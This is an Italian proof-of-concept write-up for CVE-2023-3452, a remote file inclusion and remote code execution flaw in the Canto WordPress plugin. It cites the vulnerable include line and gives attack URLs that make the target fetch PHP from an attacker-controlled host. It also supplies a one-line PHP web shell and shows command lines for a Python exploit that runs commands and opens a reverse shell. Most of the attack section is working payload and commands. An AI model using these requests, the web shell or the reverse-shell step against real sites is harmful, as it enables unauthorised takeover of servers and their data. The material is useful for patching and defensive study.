
Plugin Wordpress Canto < 3.0.5 - Inclusione remota di file (RFI) ed esecuzione remota di codice (RCE)
Qui spieghiamo una PoC dell'ultima vulnerabilità RFI (Remote File Inclusion) del plugin Canto per Wordpress, e abbiamo sviluppato un exploit per automatizzare l'esecuzione di comandi.
"Il plugin Canto per WordPress è vulnerabile a Remote File Inclusion nelle versioni fino alla 3.0.4 inclusa, tramite il parametro 'wp_abspath'. Ciò consente a un attaccante non autenticato di includere ed eseguire codice remoto arbitrario sul server, a condizione che allow_url_include sia abilitato. È possibile anche la Local File Inclusion, sebbene meno utile perché richiede che l'attaccante sia in grado di caricare un file php malevolo via FTP o con altri mezzi in una directory leggibile dal server web." (https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
Questo exploit sfrutta un bug nel parametro wp_abspath come si può vedere nella seguente riga di codice includes/lib/download.php:
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
Per sfruttare questa vulnerabilità è inoltre necessario che il parametro allow_url_include=On sia abilitato nella configurazione di php.
È possibile effettuare richieste con questo parametro puntando al nostro server web, dal quale verrà interpretato il codice php. Ad esempio, se effettuiamo la seguente richiesta, possiamo verificare che riceviamo la richiesta sul nostro server:
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

Vediamo che il server chiama il file /wp-admin/admin.php, quindi se creiamo la directory e aggiungiamo il nostro codice php malevolo al file admin.php, il server vulnerabile lo scarica e lo esegue correttamente.
Ad esempio, se scriviamo nel nostro file admin.php una web-shell php <?php system($_GET['cmd']); ?> possiamo eseguire codice in remoto.
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

Tutto questo è stato automatizzato nell'exploit python: CVE-2023-3452.py
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php
